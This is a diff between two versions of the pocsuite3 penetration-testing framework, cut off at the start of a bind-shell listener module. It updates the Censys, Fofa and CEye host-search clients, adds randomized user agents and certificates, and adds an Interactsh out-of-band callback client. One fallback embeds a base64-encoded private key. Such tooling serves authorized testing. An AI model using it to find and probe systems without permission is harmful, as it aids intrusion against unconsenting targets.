pocsuite3-1.7.7/pocsuite3/lib/request/patch/hook_request.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/request/patch/hook_request.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,9 +1,9 @@ -from random import choice from pocsuite3.lib.core.data import conf from pocsuite3.lib.core.enums import HTTP_HEADER +from pocsuite3.lib.utils import generate_random_user_agent from requests.models import Request from requests.sessions import Session -from requests.sessions import merge_setting, merge_cookies +from requests.sessions import merge_cookies from requests.cookies import RequestsCookieJar from requests.utils import get_encodings_from_content, to_key_val_list from requests.compat import OrderedDict, Mapping @@ -37,8 +37,8 @@ # Create the Request. merged_cookies = merge_cookies(merge_cookies(RequestsCookieJar(), self.cookies), cookies or (conf.cookie if 'cookie' in conf else None)) - if conf.random_agent: - conf.http_headers[HTTP_HEADER.USER_AGENT] = choice(conf.agents) + if not conf.agent and HTTP_HEADER.USER_AGENT not in conf.http_headers: + conf.http_headers[HTTP_HEADER.USER_AGENT] = generate_random_user_agent() req = Request( method=method.upper(), diff -Nru pocsuite3-1.7.7/pocsuite3/lib/utils/__init__.py pocsuite3-1.8.10/pocsuite3/lib/utils/__init__.py --- pocsuite3-1.7.7/pocsuite3/lib/utils/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/utils/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,12 +1,13 @@ +import re import ast import base64 import binascii import os import string import random +from faker import Faker from socket import gethostbyname -from urllib.parse import urlparse -from OpenSSL import crypto +import urllib.parse from pocsuite3.lib.core.data import logger, paths from pocsuite3.lib.core.enums import ( CUSTOM_LOGGING, OS, OS_ARCH, SHELLCODE_CONNECTION @@ -16,6 +17,12 @@ from pocsuite3.shellcodes import OSShellcodes +def urlparse(address): + if not re.search(r'^[A-Za-z0-9+.\-]+://', address): + address = 'tcp://{0}'.format(address) + return urllib.parse.urlparse(address) + + def url2ip(url, with_port=False): """ works like turning 'http://baidu.com' => '180.149.132.47' @@ -43,6 +50,10 @@ return ''.join(random.sample(chars, length)) +def generate_random_user_agent(): + return Faker().user_agent() + + def get_middle_text(text, prefix, suffix, index=0): """ Simple implementation of obtaining intermediate text @@ -151,38 +162,109 @@ return cmd -def gen_cert(emailAddress="s1@seebug.org", - commonName="Cyberspace", - countryName="CN", - localityName="Cyberspace", - stateOrProvinceName="Cyberspace", - organizationName="Seebug", - organizationUnitName="pocsuite.org", +def gen_cert(countryName='', + stateOrProvinceName='', + localityName='', + organizationName='', + organizationUnitName='', + commonName='', + emailAddress='', serialNumber=0, validityStartInSeconds=0, - validityEndInSeconds=10*365*24*60*60, + validityEndInSeconds=0, filepath="cacert.pem"): - # create a key pair - k = crypto.PKey() - k.generate_key(crypto.TYPE_RSA, 4096) - - # create a self-signed cert - cert = crypto.X509() - cert.get_subject().C = countryName - cert.get_subject().ST = stateOrProvinceName - cert.get_subject().L = localityName - cert.get_subject().O = organizationName - cert.get_subject().OU = organizationUnitName - cert.get_subject().CN = commonName - cert.get_subject().emailAddress = emailAddress - cert.set_serial_number(serialNumber) - cert.gmtime_adj_notBefore(0) - cert.gmtime_adj_notAfter(validityEndInSeconds) - cert.set_issuer(cert.get_subject()) - cert.set_pubkey(k) - cert.sign(k, 'sha512') - with open(filepath, "wb+") as f: - f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) - with open(filepath, "ab+") as f: - f.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) + # openssl library dependencies is too heavy, so we move it to extras_require + try: + from OpenSSL import crypto + fake = Faker() + domain_name = fake.domain_name() + yr = 24 * 3600 * 365 + vf = -1 * random.randint(0, yr * 3) - yr + vt = vf + random.randint(5, 9) * yr + # create a key pair + k = crypto.PKey() + k.generate_key(crypto.TYPE_RSA, 2048) + # create a self-signed cert + cert = crypto.X509() + cert.get_subject().C = countryName or 'US' + cert.get_subject().ST = stateOrProvinceName or fake.state_abbr() + cert.get_subject().L = localityName or fake.city() + cert.get_subject().O = organizationName or fake.company() + cert.get_subject().OU = organizationUnitName or fake.bs().split()[-1] + cert.get_subject().CN = commonName or domain_name + cert.get_subject().emailAddress = emailAddress or fake.email().split('@')[0] + '@' + domain_name + serialNumber = serialNumber or (random.randint(0, 0xffffffff - 1) << 32) + random.randint(0, 0xffffffff - 1) + cert.set_serial_number(serialNumber) + cert.gmtime_adj_notBefore(validityStartInSeconds or vf) + cert.gmtime_adj_notAfter(validityEndInSeconds or vt) + cert.set_issuer(cert.get_subject()) + cert.set_version(2) + cert.set_pubkey(k) + cert.sign(k, 'sha256') + logger.info("Successfully generated a self-signed certificate") + with open(filepath, "wb+") as fw: + fw.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) + fw.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) + except ImportError: + logger.warning('pyOpenSSL not installed, use hard-code certificate instead') + # base64 encoding to avoid cert leak warning + hard_coded_cert_base64 = ( + b'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR2akNDQXFhZ0F3SUJBZ0lJWVNpZnhqek80' + b'elF3RFFZSktvWklodmNOQVFFTEJRQXdnWjR4Q3pBSkJnTlYKQkFZVEFsVlRNUXN3Q1FZRFZRUUlE' + b'QUpPU2pFWk1CY0dBMVVFQnd3UVYyVnpkQ0JCYm5Sb2IyNTViR0Z1WkRFVwpNQlFHQTFVRUNnd05V' + b'Mk5vYm1WcFpHVnlJRXhNUXpFVk1CTUdBMVVFQ3d3TVlXTjBhVzl1TFdsMFpXMXpNUkV3CkR3WURW' + b'UVFEREFoamFHVnVMbUpwZWpFbE1DTUdDU3FHU0liM0RRRUpBUllXWVd4c2FYTnZibTFwYkd4bGNr' + b'QmoKYUdWdUxtSnBlakFlRncweU1EQXhNREV4TkRBeE1UVmFGdzB5T0RFeU1qa3hOREF4TVRWYU1J' + b'R2VNUXN3Q1FZRApWUVFHRXdKVlV6RUxNQWtHQTFVRUNBd0NUa294R1RBWEJnTlZCQWNNRUZkbGMz' + b'UWdRVzUwYUc5dWVXeGhibVF4CkZqQVVCZ05WQkFvTURWTmphRzVsYVdSbGNpQk1URU14RlRBVEJn' + b'TlZCQXNNREdGamRHbHZiaTFwZEdWdGN6RVIKTUE4R0ExVUVBd3dJWTJobGJpNWlhWG94SlRBakJn' + b'a3Foa2lHOXcwQkNRRVdGbUZzYkdsemIyNXRhV3hzWlhKQQpZMmhsYmk1aWFYb3dnZ0VpTUEwR0NT' + b'cUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFDeXFHdFJBUGNHCkF4SGZsTm1oV3BBKzJK' + b'ZVArZVg1ejN4OXJaWkVsWVJhTm04bWhNd25PbW83Z3ppOENEM0k0SXIvc3ArZG1uejQKUUpENTZi' + b'NUh5bzVNbHB4Y0dtcmxTYkRzWmlrRTBHWmZBcG9oVjVFMy9XUFBDaHFJSGxpWlBUZGEwaG1sZ1ha' + b'NwpzRmpMcmZtcEFQcmt2OGdmV0ZjNlZsaCtsbFFpMnRNMm9MYTdMaVBTeVdycXc5NjVXZG9rTzRJ' + b'b29HQ25XUUI4CkpiVmlYZEpFNEduZVF0cDBiQXplbzFsdHNadXNGOCtDdmQ2dGxSV0ZWZmUrd3Yv' + b'TU00UnpYYUFwTGpXSU5Ta2IKMmlWbWI5QmtpZ09VRHF6WUhlRzNWUGZKKzE2cjRicGZxZXljR3hu' + b'clkyL2Zpa0diRDRHVHRuZ1RITkovcWx5Ugp1Sjd0UkFzMTNUVHpBZ01CQUFFd0RRWUpLb1pJaHZj' + b'TkFRRUxCUUFEZ2dFQkFES0txR1dyS1ZWcEd1YmVubk5mCnp1Y1BvQk5jb0w2a2kzMVE1SmxKM09Q' + b'SVJtV3E4aGsycGlyeUxENkNCRER5VnUwd2Jtcnc2bHNrRWZRZE9qVW0KK1cxVElVQzJJeXJUT0w3' + b'RUY2YTdtT294VnZOSERnQ1JMaHZxakZtN2FlRE1ZMGpueGNycFJjUC9hRVJxSmRHWQovYWlSRDV5' + b'T0w3U2djVVd4ZEt6TmZiRzViOFcyVUNvTXdOS1NYcTJVRUR6d1U1RUZseTZsSFA3dTN0SE5QOGV6' + b'Ck9sU0VaUDdxTCswc0l4SitYeEk2ZGNPQzRVTXNSTGFLYjFHNXFoemFhRTFZU3FWWC9LcVBITUgz' + b'QzhXUXZJdUIKeE8vR2p6cHhBSmRXZzhJYU1qdWZPWExUMW15ZXJnZDU3b29SUVh1OVRJQzdjZG84' + b'N3Rjei9IMnk1aE83Vkkxbwo2SVU9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJ' + b'TiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dn' + b'U2tBZ0VBQW9JQkFRQ3lxR3RSQVBjR0F4SGYKbE5taFdwQSsySmVQK2VYNXozeDlyWlpFbFlSYU5t' + b'OG1oTXduT21vN2d6aThDRDNJNElyL3NwK2Rtbno0UUpENQo2YjVIeW81TWxweGNHbXJsU2JEc1pp' + b'a0UwR1pmQXBvaFY1RTMvV1BQQ2hxSUhsaVpQVGRhMGhtbGdYWjdzRmpMCnJmbXBBUHJrdjhnZldG' + b'YzZWbGgrbGxRaTJ0TTJvTGE3TGlQU3lXcnF3OTY1V2Rva080SW9vR0NuV1FCOEpiVmkKWGRKRTRH' + b'bmVRdHAwYkF6ZW8xbHRzWnVzRjgrQ3ZkNnRsUldGVmZlK3d2L01NNFJ6WGFBcExqV0lOU2tiMmlW' + b'bQpiOUJraWdPVURxellIZUczVlBmSisxNnI0YnBmcWV5Y0d4bnJZMi9maWtHYkQ0R1R0bmdUSE5K' + b'L3FseVJ1Sjd0ClJBczEzVFR6QWdNQkFBRUNnZ0VBTTd6b1R5NExXM2RhSHJoNWlldXpLREFMUEV1' + b'dldQZklZcEQ1bW1UK1RpM0QKWkpGQ21mMmx0QlJkUXI3VVBhOGhNY2xseGZ0dVEycFhVYmhxUFZv' + b'Z2VYZUlVbmZvQ3Z5Yk91cWU2R0Q5dEhnSgpjS3h1UnB1ZjR0NVhMcUl6SURXRktVejgxbHcybHIx' + b'TUNiZ1pPK01ueFVUd3pIc0Z6OFFmbnBFa1RtKzJpUFBuCml5WUc5YVBqSU90cWNFandxaEJhWWFt' + b'NVpwM0VOaEJpbkxjemhMb2srVlFnbkxwYlZXU29HbjZTZE5XcWRsbUQKdWxaYVZub1NSWkEwVzgy' + b'UjhLR01naVUyWUFHamphdmdBeGlBQXNoL1VwSE9nOVBFZHpNMEM5TGZWM2VEY3dQTAp3RXJicldE' + b'V1B2RXNidy9menkvRXJodEFDbVRFeExoazV2NGVqSnMzcVFLQmdRRG9jam9GTS9OcUpoWGVVRnQ3' + b'CnV3UCt5TWF6cnVUYnpBV0xKcGptSnlMTEVqNWZqWjhQVi9HUFkxTVAwYjY5TVJzbS9tZ3MyZGIz' + b'Q2JYS1pTRzcKZTZDRWlVMGdRODFPSVBUWitDUGx1Y1JaVVR2N3hHZU5SOEVUUjMzS1M5MmhZWEpJ' + b'cFZCNm1kWUlXNFpvSXhuTwpaa09NTFM4SU40WWlrNnJsam04NTZyUEd0UUtCZ1FERXd1VnhTK2ov' + b'Z01IZGowVG12WHJYbkVjYmxmd1ZhOU1wCnVEUTZIeVhubHFlL0xzb3ZFcmcrV2NFS2FURERmY2k2' + b'TWZXdzRpVjRDRUdjNHhJeGNwbUY2elFMWFJieGVZK3YKMDZ0KzBtdjI2bkdxeUdOYmlBS1FMYjRw' + b'SmxCU290c1Z2VGJHTjJzRGRkVTIzN2t0cHpQZ3FmSXZlbUFuZDBseApkU0N1L3UxdUJ3S0JnUURP' + b'WVh6NldhSHB3Vjd4UUUrNWo5YUFSU3VISmVXMDhYU0trLzUxZXBIOTAzamx4Z3hQCnh6bUdvaDJC' + b'a2l6VU5lRnh3YmdrK2xWT2lhU0t5emdrQ2lQL0NSa2RhSlhFcEtaQlVYd3QzNzVodnlxTzQxYzkK' + b'clZQVUZrbXRiNmFjUHJVRm95SE5lUUQ3OHFkbmxxSzNDejAySEhnQng2cWswSStQdWVNdmZSK1pj' + b'UUtCZ0M3SQpJQUZtQ1FubXRURldoUTFQYzh1YnpwUlNmdE1oQmQzZmZCdHRtSGVOckdpYVdWd0Qy' + b'V2FKdElvakpJTDJmeWsyCkE3S0FzbVB0b3B3SXFTUzBtS2ZzbWoweGJ1a08vQWpVRE94a1gyTWZy' + b'dExxUGlWZkd5em9rMVA1VmhPdndPTlUKVDVlbFNYNVRIOVNpTU1jWUFBK2ttSDZOWEJ0R0UySTBk' + b'UWJtZWRFMUFvR0JBS2xkMnlHTll2eDZMc1F1czlOWgpjVlZNWHFLbFVKY1pSTVY5aGdTdTQ3alZI' + b'ZnlMMVFRcTFnaG1rU0NpeGVZWXJLSW4xU09ubERsK2VwYTQ3SmxqClhhd3ZNRFREWmxRRGxwS05v' + b'dEgzbThLQUZ0VUVvQ2dzTm5zM3ZoOERDSXFJUEJEMDRndkV3R3pLYnNhQUM1WGIKUFprd1o0TlFK' + b'RWlDTnRyMUR6Qmg0ZktuCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' + ) + hard_coded_cert = base64.b64decode(hard_coded_cert_base64) + with open(filepath, "wb+") as fw: + fw.write(hard_coded_cert) diff -Nru pocsuite3-1.7.7/pocsuite3/lib/utils/markup.py pocsuite3-1.8.10/pocsuite3/lib/utils/markup.py --- pocsuite3-1.7.7/pocsuite3/lib/utils/markup.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/utils/markup.py 2022-01-10 22:07:00.000000000 +0000 @@ -25,7 +25,7 @@ try: basestring import string -except: +except NameError: # python 3 basestring = str string = str diff -Nru pocsuite3-1.7.7/pocsuite3/lib/utils/pcap_sniffer.py pocsuite3-1.8.10/pocsuite3/lib/utils/pcap_sniffer.py --- pocsuite3-1.7.7/pocsuite3/lib/utils/pcap_sniffer.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/lib/utils/pcap_sniffer.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,13 +1,17 @@ import os +from threading import Thread, Event from pocsuite3.lib.core.common import data_to_stdout from pocsuite3.lib.core.data import logger + +import logging +os.environ["MPLBACKEND"] = "Agg" +logging.getLogger("scapy").setLevel(logging.ERROR) from scapy.all import ( WINDOWS, get_if_list, get_if_addr, AsyncSniffer ) -from threading import Thread, Event class Sniffer(Thread): diff -Nru pocsuite3-1.7.7/pocsuite3/modules/censys/__init__.py pocsuite3-1.8.10/pocsuite3/modules/censys/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/censys/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/censys/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,13 +1,12 @@ -import json +import getpass from configparser import ConfigParser - -import requests - from pocsuite3.lib.core.data import paths, logger +from pocsuite3.api import requests class Censys(): def __init__(self, conf_path=paths.POCSUITE_RC_PATH, uid='', secret=''): + self.headers = {'User-Agent': 'curl/7.80.0', 'Accept': 'application/json'} self.uid = uid self.secret = secret self.conf_path = conf_path @@ -15,21 +14,26 @@ if self.conf_path: self.parser = ConfigParser() self.parser.read(self.conf_path) - if not (self.secret or self.uid): - try: - self.secret = self.parser.get("Censys", "secret") - self.uid = self.parser.get("Censys", "uid") - except Exception: - pass + try: + self.uid = self.uid or self.parser.get("Censys", "uid") + self.secret = self.secret or self.parser.get("Censys", "secret") + except Exception: + pass + + self.check_token() def token_is_available(self): if self.secret and self.uid: try: - resp = requests.get("https://censys.io/api/v1/account", auth=(self.uid, self.secret)) - if resp.status_code == 200 and "email" in resp.json(): - logger.info("[PLUGIN] Censys login success email:{}".format(resp.json()["email"])) - self.credits = resp.json()["quota"]["allowance"] - resp.json()["quota"]["used"] + resp = requests.get("https://search.censys.io/api/v1/account", auth=(self.uid, self.secret), + headers=self.headers) + if resp.status_code == 200 and 'allowance' in resp.text: + js = resp.json() + logger.info("[PLUGIN] Censys login success, email: {}".format(js["email"])) + self.credits = js["quota"]["allowance"] - js["quota"]["used"] return True + else: + logger.info(resp.text) except Exception as ex: logger.error(ex) return False @@ -37,18 +41,17 @@ def check_token(self): if self.token_is_available(): return True - else: - new_UID = input("Censys API UID:") - new_secret = input("Censys API SECRET") + while True: + new_UID = input("Censys API ID: ") + new_secret = getpass.getpass("Censys API SECRET: (input will hidden)") self.uid = new_UID self.secret = new_secret if self.token_is_available(): self.write_conf() return True else: - logger.error("The shodan api token is incorrect. " - "Please enter the correct api token.") - self.check_token() + logger.error("The censys api id or secret are incorrect, " + "Please enter a correct one.") def write_conf(self): if not self.parser.has_section("Censys"): @@ -68,19 +71,25 @@ def search(self, dork, pages=1, resource='ipv4'): search_result = set() try: + cursor = '' for page in range(1, pages + 1): - url = "https://censys.io/api/v1/search/{}".format(resource) + url = "https://search.censys.io/api/v2/hosts/search" data = { - "query": dork, # Search keywords, - "fields": ["ip"], - "page": page + "q": dork, # Search keywords + "per_page": 50, + "virtual_hosts": "EXCLUDE" } - resp = requests.post(url, data=json.dumps(data), auth=(self.uid, self.secret)) - if resp and resp.status_code == 200 and "results" in resp.json(): - content = resp.json()["results"] - for match in content: - ans = match["ip"] - search_result.add(ans) + if cursor: + data['cursor'] = cursor + resp = requests.get(url, params=data, auth=(self.uid, self.secret), headers=self.headers) + if resp and resp.status_code == 200 and 'result' in resp.json(): + results = resp.json()['result']['hits'] + cursor = resp.json()['result']['links']['next'] + for i in results: + ip = i['ip'] + for j in i['services']: + port = j['port'] + search_result.add(f'{ip}:{port}') except Exception as ex: logger.error(str(ex)) return search_result @@ -88,4 +97,6 @@ if __name__ == '__main__': c = Censys() - ret = c.search("apache") + ret = c.search("thinkphp", pages=2) + for i in ret: + print(i) diff -Nru pocsuite3-1.7.7/pocsuite3/modules/ceye/__init__.py pocsuite3-1.8.10/pocsuite3/modules/ceye/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/ceye/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/ceye/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -13,7 +13,7 @@ class CEye(object): def __init__(self, conf_path=paths.POCSUITE_RC_PATH, username=None, password=None, token=None): - self.headers = None + self.headers = {'User-Agent': 'curl/7.80.0'} self.token = token self.conf_path = conf_path self.username = username @@ -22,31 +22,23 @@ if self.conf_path: self.parser = ConfigParser() self.parser.read(self.conf_path) - - if not self.token: try: - self.token = self.parser.get("Telnet404", 'Jwt token') + self.token = self.token or self.parser.get("Telnet404", 'Jwt token') except Exception: pass - if not self.check_account(): - msg = "Ceye verify faild!" - raise Exception(msg) + + self.check_account() def token_is_available(self): if self.token: - headers = {'Authorization': 'JWT %s' % self.token} - headers2 = {'Authorization': self.token} + # distinguish Jwt Token & API Token + self.headers['Authorization'] = self.token if len(self.token) < 48 else f'JWT {self.token}' try: - resp = requests.get('http://api.ceye.io/v1/identify', headers=headers) - if resp and resp.status_code == 200 and "data" in resp.json(): - self.headers = headers - return True - - resp = requests.get('http://api.ceye.io/v1/identify', headers=headers2) - if resp and resp.status_code == 200 and "data" in resp.json(): - self.headers = headers2 + resp = requests.get('http://api.ceye.io/v1/identify', headers=self.headers) + if resp and resp.status_code == 200 and "identify" in resp.text: return True - + else: + logger.info(resp.text) except Exception as ex: logger.error(str(ex)) return False @@ -54,12 +46,14 @@ def new_token(self): data = '{{"username": "{}", "password": "{}"}}'.format(self.username, self.password) try: - resp = requests.post('https://api.zoomeye.org/user/login', data=data, ) - if resp.status_code != 401 and "access_token" in resp.json(): + resp = requests.post('https://api.zoomeye.org/user/login', data=data) + if resp.status_code != 401 and "access_token" in resp.text: content = resp.json() self.token = content['access_token'] - self.headers = {'Authorization': 'JWT %s' % self.token} + self.headers['Authorization'] = f'JWT {self.token}' return True + else: + logger.info(resp.text) except Exception as ex: logger.error(str(ex)) return False @@ -67,23 +61,21 @@ def check_account(self): if self.token_is_available(): return True - else: - if self.username and self.password: - if self.new_token(): - self.write_conf() - return True + elif self.username and self.password: + if self.new_token(): + self.write_conf() + return True + while True: + username = input("Telnet404 email account: ") + password = getpass.getpass("Telnet404 password: (input will hidden)") + self.username = username + self.password = password + if self.new_token(): + self.write_conf() + return True else: - username = input("Telnet404 email account:") - password = getpass.getpass("Telnet404 password:") - self.username = username - self.password = password - if self.new_token(): - self.write_conf() - return True - else: - logger.error("The username or password is incorrect. " - "Please enter the correct username and password.") - return False + logger.error("The username or password is incorrect, " + "Please enter the correct username and password.") def write_conf(self): if not self.parser.has_section("Telnet404"): @@ -104,8 +96,9 @@ """ ret_val = False counts = 3 - url = "http://api.ceye.io/v1/records?token={token}&type={type}&filter={flag}".format(token=self.token, - type=type, flag=flag) + url = ( + "http://api.ceye.io/v1/records?token={token}&type={type}&filter={flag}" + ).format(token=self.token, type=type, flag=flag) while counts: try: time.sleep(1) @@ -128,8 +121,9 @@ :return: Return the acquired data """ counts = 3 - url = "http://api.ceye.io/v1/records?token={token}&type={type}&filter={flag}".format(token=self.token, - type=type, flag=flag) + url = ( + "http://api.ceye.io/v1/records?token={token}&type={type}&filter={flag}" + ).format(token=self.token, type=type, flag=flag) while counts: try: time.sleep(1) @@ -188,7 +182,7 @@ if __name__ == "__main__": - ce = CEye(token="111") # Fill in the token + ce = CEye() # http record # Auxiliary generation of flag string flag = ce.build_request("HelloWorld3") @@ -196,7 +190,7 @@ # Simulate requests with requests try: r = requests.get(flag["url"]) - except: + except Exception: pass time.sleep(1) print("request over") @@ -210,7 +204,7 @@ print(flag) # Simulate request with requests # r = requests.get(flag["url"]) - os.system("ping " + flag["url"]) + os.system("ping -nc 2 " + flag["url"]) time.sleep(1) print("ping over") # Get the requested data diff -Nru pocsuite3-1.7.7/pocsuite3/modules/fofa/__init__.py pocsuite3-1.8.10/pocsuite3/modules/fofa/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/fofa/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/fofa/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,4 +1,3 @@ -import urllib import getpass from base64 import b64encode from configparser import ConfigParser @@ -9,29 +8,30 @@ class Fofa(): def __init__(self, conf_path=paths.POCSUITE_RC_PATH, user=None, token=None): - self.headers = None + self.headers = {'User-Agent': 'curl/7.80.0'} self.credits = 0 self.conf_path = conf_path + self.user = user + self.token = token if self.conf_path: self.parser = ConfigParser() self.parser.read(self.conf_path) try: - self.token = self.parser.get("Fofa", 'token') - self.user = self.parser.get("Fofa", 'user') + self.user = self.user or self.parser.get("Fofa", 'user') + self.token = self.token or self.parser.get("Fofa", 'token') except Exception: pass - if token or user: - self.user = user - self.token = token self.check_token() def token_is_available(self): if self.token and self.user: try: resp = requests.get( - 'https://fofa.so/api/v1/info/my?email={user}&key={token}'.format(user=self.user, token=self.token)) + 'https://fofa.so/api/v1/info/my?email={user}&key={token}'.format(user=self.user, token=self.token), + headers=self.headers) + logger.info(resp.text) if resp and resp.status_code == 200 and "username" in resp.json(): return True except Exception as ex: @@ -41,19 +41,18 @@ def check_token(self): if self.token_is_available(): return True - else: - user = input("Fofa API user:") - new_token = getpass.getpass("Fofa API token:") + while True: + user = input("Fofa user email: ") + new_token = getpass.getpass("Fofa api key: (input will hidden) ") self.token = new_token self.user = user if self.token_is_available(): self.write_conf() return True else: - logger.error("The Fofa api token is incorrect. " - "Please enter the correct api token.") - self.check_token() + logger.error("The Fofa user email or api key are incorrect, " + "Please enter the correct one.") def write_conf(self): if not self.parser.has_section("Fofa"): @@ -73,16 +72,19 @@ search_result = set() try: for page in range(1, pages + 1): - url = "https://fofa.so/api/v1/search/all?email={user}&key={token}&qbase64={dork}&fields={resource}&page={page}".format( - user=self.user, token=self.token, dork=b64encode(dork.encode()).decode(), resource=resource, page=page) - resp = requests.get(url,timeout=80) + url = ( + "https://fofa.so/api/v1/search/all?email={user}&key={token}&qbase64={dork}&" + "fields={resource}&page={page}" + ).format(user=self.user, token=self.token, dork=b64encode(dork.encode()).decode(), + resource=resource, page=page) + resp = requests.get(url, timeout=80, headers=self.headers) if resp and resp.status_code == 200 and "results" in resp.json(): content = resp.json() for match in content['results']: if resource == "ip,port": - search_result.add("%s:%s"%(match[0],match[1])) + search_result.add("%s:%s" % (match[0], match[1])) else: - if not match.startswith("https://"): + if not match.startswith("https://"): search_result.add("http://"+match) else: search_result.add(match) diff -Nru pocsuite3-1.7.7/pocsuite3/modules/httpserver/__init__.py pocsuite3-1.8.10/pocsuite3/modules/httpserver/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/httpserver/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/httpserver/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -90,10 +90,8 @@ class PHTTPServer(threading.Thread, metaclass=PHTTPSingleton): def __init__(self, bind_ip='0.0.0.0', bind_port=666, is_ipv6=False, use_https=False, - certfile=os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem'), + certfile=os.path.join(paths.POCSUITE_TMP_PATH, 'cacert.pem'), requestHandler=BaseRequestHandler): - if not os.path.exists(certfile): - gen_cert(filepath=certfile) threading.Thread.__init__(self) self.bind_ip = bind_ip self.bind_port = int(bind_port) @@ -101,6 +99,7 @@ self.https = use_https if self.https: self.scheme = 'https' + gen_cert(filepath=certfile) else: self.scheme = 'http' self.certfile = certfile @@ -140,10 +139,10 @@ self.setDaemon(daemon) threading.Thread.start(self) # Detect http server is started or not + logger.info('Detect {} server is runing or not...'.format(self.scheme)) detect_count = 10 while detect_count: try: - logger.info('Detect {} server is runing or not...'.format(self.scheme)) if check_port(self.host_ip, self.bind_port): break except Exception as ex: diff -Nru pocsuite3-1.7.7/pocsuite3/modules/interactsh/__init__.py pocsuite3-1.8.10/pocsuite3/modules/interactsh/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/interactsh/__init__.py 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/interactsh/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,120 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import base64 +import json +import random +import time +from uuid import uuid4 +from base64 import b64encode +from Cryptodome.Cipher import AES, PKCS1_OAEP +from Cryptodome.PublicKey import RSA +from Cryptodome.Hash import SHA256 +from pocsuite3.api import requests, logger, random_str + + +class Interactsh: + def __init__(self, token='', server=''): + rsa = RSA.generate(2048) + self.public_key = rsa.publickey().exportKey() + self.private_key = rsa.exportKey() + self.token = token + self.server = server.lstrip('.') or 'interact.sh' + self.headers = { + "Content-Type": "application/json", + } + if self.token: + self.headers['Authorization'] = self.token + self.secret = str(uuid4()) + self.encoded = b64encode(self.public_key).decode("utf8") + guid = uuid4().hex.ljust(33, 'a') + guid = ''.join(i if i.isdigit() else chr(ord(i) + random.randint(0, 20)) for i in guid) + self.domain = f'{guid}.{self.server}' + self.correlation_id = self.domain[:20] + + self.session = requests.session() + self.session.headers = self.headers + self.register() + + def register(self): + data = { + "public-key": self.encoded, + "secret-key": self.secret, + "correlation-id": self.correlation_id + } + res = self.session.post( + f"https://{self.server}/register", headers=self.headers, json=data, verify=False) + if 'success' not in res.text: + logger.error(res.text) + + def poll(self): + count = 3 + result = [] + while count: + + try: + url = f"https://{self.server}/poll?id={self.correlation_id}&secret={self.secret}" + res = self.session.get(url, headers=self.headers, verify=False).json() + aes_key, data_list = res['aes_key'], res['data'] + for i in data_list: + decrypt_data = self.decrypt_data(aes_key, i) + result.append(decrypt_data) + return result + except Exception as e: + logger.debug(e) + count -= 1 + time.sleep(1) + continue + return [] + + def decrypt_data(self, aes_key, data): + private_key = RSA.importKey(self.private_key) + cipher = PKCS1_OAEP.new(private_key, hashAlgo=SHA256) + aes_plain_key = cipher.decrypt(base64.b64decode(aes_key)) + decode = base64.b64decode(data) + bs = AES.block_size + iv = decode[:bs] + cryptor = AES.new(key=aes_plain_key, mode=AES.MODE_CFB, IV=iv, segment_size=128) + plain_text = cryptor.decrypt(decode) + return json.loads(plain_text[16:]) + + def build_request(self, length=10, method='https'): + """ + Generate the url and flag for verification + + :param length: The flag length + :param method: Request type (dns|https|http), the default is https + :return: dict { url: Return the request url, flag: Return a random flag } + Example: + { + 'url': 'http://hqlbbwmo8u.7735s13s04hp4eu19s4q8n963n73jw6hr.interactsh.com', + 'flag': 'hqlbbwmo8u' + } + + """ + flag = random_str(length).lower() + url = f'{flag}.{self.domain}' + if method.startswith('http'): + url = f'{method}://{url}' + return url, flag + + def verify(self, flag, get_result=False): + """ + Check the flag + + :param flag: The flag to verify + :param get_result: Whether to return detailed results + :return: Boolean + """ + result = self.poll() + for item in result: + if flag.lower() in item['full-id'].lower(): + return (True, result) if get_result else True + return (False, result) if get_result else False + + +if __name__ == "__main__": + ISH = Interactsh(token="", server="") + url, flag = ISH.build_request() + requests.get(url, timeout=5, verify=False) + print(ISH.verify(flag, get_result=True)) diff -Nru pocsuite3-1.7.7/pocsuite3/modules/listener/bind_tcp.py pocsuite3-1.8.10/pocsuite3/modules/listener/bind_tcp.py --- pocsuite3-1.7.7/pocsuite3/modules/listener/bind_tcp.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/listener/bind_tcp.py 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,131 @@ +import os +import socket +import select +import telnetlib +import threading +from pocsuite3.lib.core.poc import 